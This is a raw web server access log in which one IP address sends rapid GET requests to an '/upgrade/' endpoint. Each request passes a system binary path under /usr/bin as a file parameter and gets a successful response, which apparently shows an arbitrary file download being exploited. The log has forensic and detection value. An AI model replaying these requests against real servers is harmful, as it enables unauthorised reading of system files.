45.135.193.11 - - [11/Sep/2026:22:46:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-addr-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101837 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fnl-addr-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlml&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98183 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fperlml&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:15 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frenew-dummy-cert&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95921 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frenew-dummy-cert&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpm2cpio&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100040 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Frpm2cpio&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:16 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvlock&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103678 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvlock&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgapplication&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103370 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgapplication&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsinitrd&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99348 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsinitrd&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:17 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmkdir&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 127472 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmkdir&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsguniq&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 103571 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsguniq&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetvtrgb&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 101633 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetvtrgb&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:18 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php82&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 2838621 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fea-php82&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgen&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102311 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmsgen&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:19 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpmap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 109618 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpmap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsed&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 151287 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsed&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrings&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108213 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fstrings&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:20 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-builddep&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97677 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fyum-builddep&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fznew&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 97944 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fznew&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcoredumpctl&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 121259 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcoredumpctl&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:21 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflex++&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95761 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflex++&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fphp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96136 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fphp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscriptlive&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 114201 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscriptlive&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-gcc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 497864 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fx86_64-redhat-linux-gcc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:23 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fobjcopy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 180709 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fobjcopy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-install-script&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106514 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fosinfo-install-script&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:24 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fauvirt&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106035 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fauvirt&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flexgrog&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 128581 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flexgrog&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetfattr&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 105104 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsetfattr&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:25 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_identify&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102370 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_sat_identify&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:22 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify-agent-proxy&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 7163366 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fimunify-agent-proxy&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Facyclic&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100900 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Facyclic&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:26 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_scan&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102571 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_scan&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-machine-id-setup&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102497 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsystemd-machine-id-setup&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftic&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 135183 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ftic&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:27 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-list&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100426 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffc-list&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffg&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95705 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffg&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:28 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgencat&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107398 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgencat&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvimdot&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96440 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fvimdot&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fatq&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117849 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fatq&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:29 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibwmf-fontmap&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98549 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibwmf-fontmap&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflatpak-bisect&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 98525 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fflatpak-bisect&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:30 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-install-db&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104447 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fmariadb-install-db&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_start&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96019 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fscsi_start&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_read_block_limits&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 100425 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsg_read_block_limits&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:31 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoreconf&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 104186 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoreconf&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoupdate&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108962 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fautoupdate&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcc&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 498333 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fcc&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:32 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbilogstrip&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96451 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fdbilogstrip&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibpng-config&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 96756 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flibpng-config&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:33 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fspell&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95881 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fspell&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhardlink&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108833 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fhardlink&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Forc-bugreport&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 102744 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Forc-bugreport&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:34 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbatch&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 95698 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fbatch&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgeqn&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 171685 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fgeqn&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fseq&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 116944 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fseq&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:35 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Faclocal-1.16&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 110019 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Faclocal-1.16&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffdp&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 99760 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Ffdp&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:36 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprintenv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 107001 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fprintenv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsize&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 106580 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsize&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsum&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108230 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fsum&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:37 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsns&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 111135 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Flsns&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpidwait&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 108482 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpidwait&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:46:38 -0400] "GET /upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpreconv&location=%2Fusr%2Fbin%2F HTTP/1.1" 200 117946 "http://163.245.207.76:443/upgrade/?file_location=%2Fusr%2Fbin%2F%2Fpreconv&location=%2Fusr%2Fbin%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
